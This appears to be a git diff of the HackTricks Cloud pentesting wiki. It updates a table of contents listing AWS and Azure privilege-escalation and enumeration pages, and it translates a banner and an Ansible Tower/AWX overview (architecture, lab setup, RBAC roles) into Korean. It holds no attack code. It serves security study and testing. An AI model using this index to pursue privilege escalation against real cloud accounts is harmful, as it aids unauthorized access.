- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
@@ -335,6 +373,7 @@
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
@@ -345,7 +384,7 @@
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
@@ -370,6 +409,7 @@
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
@@ -379,31 +419,32 @@
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
@@ -423,6 +464,7 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
@@ -482,6 +524,7 @@
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)

View File

@@ -1,18 +1,14 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
> <summary>HackTricks 지원하기</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>

Binary file not shown.

Binary file not shown.

View File

@@ -4,60 +4,59 @@
## Basic Information
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansibles user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Towers REST API and command-line interface make it simple to integrate it into current tools and workflows.
**Ansible Tower** 또는 오픈소스 버전 [**AWX**](https://github.com/ansible/awx)**Ansible의 사용자 인터페이스, 대시보드 및 REST API**로 알려져 있습니다. **역할 기반 접근 제어**, 작업 예약 및 그래픽 인벤토리 관리를 통해 현대적인 UI에서 Ansible 인프라를 관리할 수 있습니다. Tower REST API 및 명령줄 인터페이스는 현재 도구 및 워크플로우에 통합하기 쉽게 만듭니다.
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
**Automation Controller는 더 많은 기능을 갖춘** Ansible Tower의 최신 버전입니다.
### Differences
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
[**이**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00)에 따르면, Ansible Tower와 AWX의 주요 차이점은 받은 지원과 Ansible Tower가 역할 기반 접근 제어, 사용자 정의 API 지원 및 사용자 정의 워크플로우와 같은 추가 기능을 갖추고 있다는 것입니다.
### Tech Stack
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
- **Redis**: Redis serves as a cache and a backend for the task queue.
- **Web Interface**: 사용자가 인벤토리, 자격 증명, 템플릿 및 작업을 관리할 수 있는 그래픽 인터페이스입니다. 직관적으로 설계되어 있으며 자동화 작업의 상태와 결과를 이해하는 데 도움이 되는 시각화를 제공합니다.
- **REST API**: 웹 인터페이스에서 할 수 있는 모든 작업을 REST API를 통해서도 수행할 수 있습니다. 이는 AWX/Tower를 다른 시스템과 통합하거나 일반적으로 인터페이스에서 수행하는 작업을 스크립트화할 수 있음을 의미합니다.
- **Database**: AWX/Tower는 구성, 작업 결과 및 기타 필요한 운영 데이터를 저장하기 위해 데이터베이스(일반적으로 PostgreSQL)를 사용합니다.
- **RabbitMQ**: AWX/Tower가 서로 다른 구성 요소 간에 통신하는 데 사용하는 메시징 시스템입니다. 특히 웹 서비스와 작업 실행기 간의 통신에 사용됩니다.
- **Redis**: Redis는 캐시 및 작업 큐의 백엔드 역할을 합니다.
### Logical Components
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
- **Inventories**: 인벤토리는 **작업**(Ansible 플레이북)을 **실행할 수 있는 호스트(또는 노드)의 모음**입니다. AWX/Tower는 인벤토리를 정의하고 그룹화할 수 있으며 AWS, Azure 등과 같은 다른 시스템에서 **호스트 목록을 가져오는** 동적 인벤토리도 지원합니다.
- **Projects**: 프로젝트는 본질적으로 **버전 관리 시스템**(예: Git)에서 소스된 **Ansible 플레이북의 모음**으로, 필요할 때 최신 플레이북을 가져옵니다.
- **Templates**: 작업 템플릿은 **특정 플레이북이 어떻게 실행될 것인지** 정의하며, **인벤토리**, **자격 증명** 및 작업에 대한 기타 **매개변수**를 지정합니다.
- **Credentials**: AWX/Tower는 **SSH 키, 비밀번호 및 API 토큰**과 같은 비밀을 **관리하고 저장하는 안전한 방법**을 제공합니다. 이러한 자격 증명은 작업 템플릿과 연결되어 플레이북이 실행될 때 필요한 접근 권한을 가집니다.
- **Task Engine**: 마법이 일어나는 곳입니다. 작업 엔진은 Ansible을 기반으로 구축되어 **플레이북을 실행하는** 역할을 합니다. 작업은 작업 엔진에 배포되며, 지정된 인벤토리에 대해 지정된 자격 증명을 사용하여 Ansible 플레이북을 실행합니다.
- **Schedulers and Callbacks**: AWX/Tower의 고급 기능으로, **작업을 특정 시간에 실행하도록 예약**하거나 외부 이벤트에 의해 트리거할 수 있습니다.
- **Notifications**: AWX/Tower는 작업의 성공 또는 실패에 따라 알림을 보낼 수 있습니다. 이메일, Slack 메시지, 웹훅 등 다양한 알림 수단을 지원합니다.
- **Ansible Playbooks**: Ansible 플레이북은 구성, 배포 및 오케스트레이션 도구입니다. 자동화되고 반복 가능한 방식으로 시스템의 원하는 상태를 설명합니다. YAML로 작성되며, Ansible의 선언적 자동화 언어를 사용하여 구성, 작업 및 실행해야 할 단계를 설명합니다.
### Job Execution Flow
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
1. **User Interaction**: 사용자는 **Web Interface** 또는 **REST API**를 통해 AWX/Tower와 상호작용할 수 있습니다. 이들은 AWX/Tower가 제공하는 모든 기능에 대한 프론트엔드 접근을 제공합니다.
2. **Job Initiation**:
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
- 사용자가 웹 인터페이스 또는 API를 통해 **Job Template**에 기반하여 작업을 시작합니다.
- Job Template에는 **Inventory**, **Project**(플레이북 포함) 및 **Credentials**에 대한 참조가 포함됩니다.
- 작업 시작 시, 실행을 위해 작업을 대기열에 추가하기 위해 AWX/Tower 백엔드에 요청이 전송됩니다.
3. **Job Queuing**:
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
- **RabbitMQ**는 웹 구성 요소와 작업 실행기 간의 메시징을 처리합니다. 작업이 시작되면 RabbitMQ를 사용하여 작업 엔진에 메시지가 전송됩니다.
- **Redis**는 실행 대기 중인 작업을 관리하는 작업 큐의 백엔드 역할을 합니다.
4. **Job Execution**:
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
- **Task Engine**이 대기열에 있는 작업을 가져옵니다. 작업과 관련된 플레이북, 인벤토리 및 자격 증명에 대한 필요한 정보를 **Database**에서 검색합니다.
- 관련 **Project**에서 검색된 Ansible 플레이북을 사용하여 Task Engine은 제공된 **Credentials**를 사용하여 지정된 **Inventory** 노드에 대해 플레이북을 실행합니다.
- 플레이북이 실행되는 동안 실행 출력(로그, 사실 등)이 캡처되어 **Database**에 저장됩니다.
5. **Job Results**:
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- Users can then view the results through the Web Interface or query them via the REST API.
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
- 플레이북 실행이 완료되면 결과(성공, 실패, 로그)가 **Database**에 저장됩니다.
- 사용자는 웹 인터페이스를 통해 결과를 보거나 REST API를 통해 쿼리할 수 있습니다.
- 작업 결과에 따라 **Notifications**가 전송되어 사용자 또는 외부 시스템에 작업 상태를 알릴 수 있습니다. 알림은 이메일, Slack 메시지, 웹훅 등이 될 수 있습니다.
6. **External Systems Integration**:
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
- **Inventories**는 외부 시스템에서 동적으로 소싱할 수 있어 AWX/Tower가 AWS, Azure, VMware 등과 같은 소스에서 호스트를 가져올 수 있습니다.
- **Projects**(플레이북)는 버전 관리 시스템에서 가져올 수 있어 작업 실행 중 최신 플레이북을 사용할 수 있습니다.
- **Schedulers and Callbacks**는 다른 시스템이나 도구와 통합하는 데 사용될 수 있어 AWX/Tower가 외부 트리거에 반응하거나 미리 정해진 시간에 작업을 실행할 수 있게 합니다.
### AWX lab creation for testing
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -83,79 +82,78 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
## RBAC
### Supported roles
### 지원되는 역할
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
가장 권한이 높은 역할은 **시스템 관리자**라고 합니다. 이 역할을 가진 사람은 **모든 것을 수정할 수 있습니다**.
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
**화이트 박스 보안** 검토를 위해서는 **시스템 감사자 역할**이 필요하며, 이 역할은 **모든 시스템 데이터를 볼 수 있지만** 변경할 수는 없습니다. 다른 옵션은 **조직 감사자 역할**을 얻는 것이지만, 다른 역할을 얻는 것이 더 좋습니다.
<details>
<summary>Expand this to get detailed description of available roles</summary>
<summary>사용 가능한 역할에 대한 자세한 설명을 보려면 여기를 확장하세요</summary>
1. **System Administrator**:
- This is the superuser role with permissions to access and modify any resource in the system.
- They can manage all organizations, teams, projects, inventories, job templates, etc.
2. **System Auditor**:
- Users with this role can view all system data but cannot make any changes.
- This role is designed for compliance and oversight.
3. **Organization Roles**:
- **Admin**: Full control over the organization's resources.
- **Auditor**: View-only access to the organization's resources.
- **Member**: Basic membership in an organization without any specific permissions.
- **Execute**: Can run job templates within the organization.
- **Read**: Can view the organizations resources.
4. **Project Roles**:
- **Admin**: Can manage and modify the project.
- **Use**: Can use the project in a job template.
- **Update**: Can update project using SCM (source control).
5. **Inventory Roles**:
- **Admin**: Can manage and modify the inventory.
- **Ad Hoc**: Can run ad hoc commands on the inventory.
- **Update**: Can update the inventory source.
- **Use**: Can use the inventory in a job template.
- **Read**: View-only access.
6. **Job Template Roles**:
- **Admin**: Can manage and modify the job template.
- **Execute**: Can run the job.
- **Read**: View-only access.
7. **Credential Roles**:
- **Admin**: Can manage and modify the credentials.
- **Use**: Can use the credentials in job templates or other relevant resources.
- **Read**: View-only access.
8. **Team Roles**:
- **Member**: Part of the team but without any specific permissions.
- **Admin**: Can manage the team's members and associated resources.
9. **Workflow Roles**:
- **Admin**: Can manage and modify the workflow.
- **Execute**: Can run the workflow.
- **Read**: View-only access.
1. **시스템 관리자**:
- 시스템의 모든 리소스에 접근하고 수정할 수 있는 슈퍼유저 역할입니다.
- 모든 조직, 팀, 프로젝트, 인벤토리, 작업 템플릿 등을 관리할 수 있습니다.
2. **시스템 감사자**:
- 이 역할을 가진 사용자는 모든 시스템 데이터를 볼 수 있지만 변경할 수는 없습니다.
- 이 역할은 준수 및 감독을 위해 설계되었습니다.
3. **조직 역할**:
- **관리자**: 조직의 리소스에 대한 전체 제어 권한.
- **감사자**: 조직의 리소스에 대한 보기 전용 접근.
- **회원**: 특정 권한 없이 조직의 기본 회원.
- **실행**: 조직 내에서 작업 템플릿을 실행할 수 있습니다.
- **읽기**: 조직의 리소스를 볼 수 있습니다.
4. **프로젝트 역할**:
- **관리자**: 프로젝트를 관리하고 수정할 수 있습니다.
- **사용**: 작업 템플릿에서 프로젝트를 사용할 수 있습니다.
- **업데이트**: SCM(소스 제어)을 사용하여 프로젝트를 업데이트할 수 있습니다.
5. **인벤토리 역할**:
- **관리자**: 인벤토리를 관리하고 수정할 수 있습니다.
- **Ad Hoc**: 인벤토리에서 Ad Hoc 명령을 실행할 수 있습니다.
- **업데이트**: 인벤토리 소스를 업데이트할 수 있습니다.
- **사용**: 작업 템플릿에서 인벤토리를 사용할 수 있습니다.
- **읽기**: 보기 전용 접근.
6. **작업 템플릿 역할**:
- **관리자**: 작업 템플릿을 관리하고 수정할 수 있습니다.
- **실행**: 작업을 실행할 수 있습니다.
- **읽기**: 보기 전용 접근.
7. **자격 증명 역할**:
- **관리자**: 자격 증명을 관리하고 수정할 수 있습니다.
- **사용**: 작업 템플릿이나 기타 관련 리소스에서 자격 증명을 사용할 수 있습니다.
- **읽기**: 보기 전용 접근.
8. **팀 역할**:
- **회원**: 팀의 일원이지만 특정 권한이 없습니다.
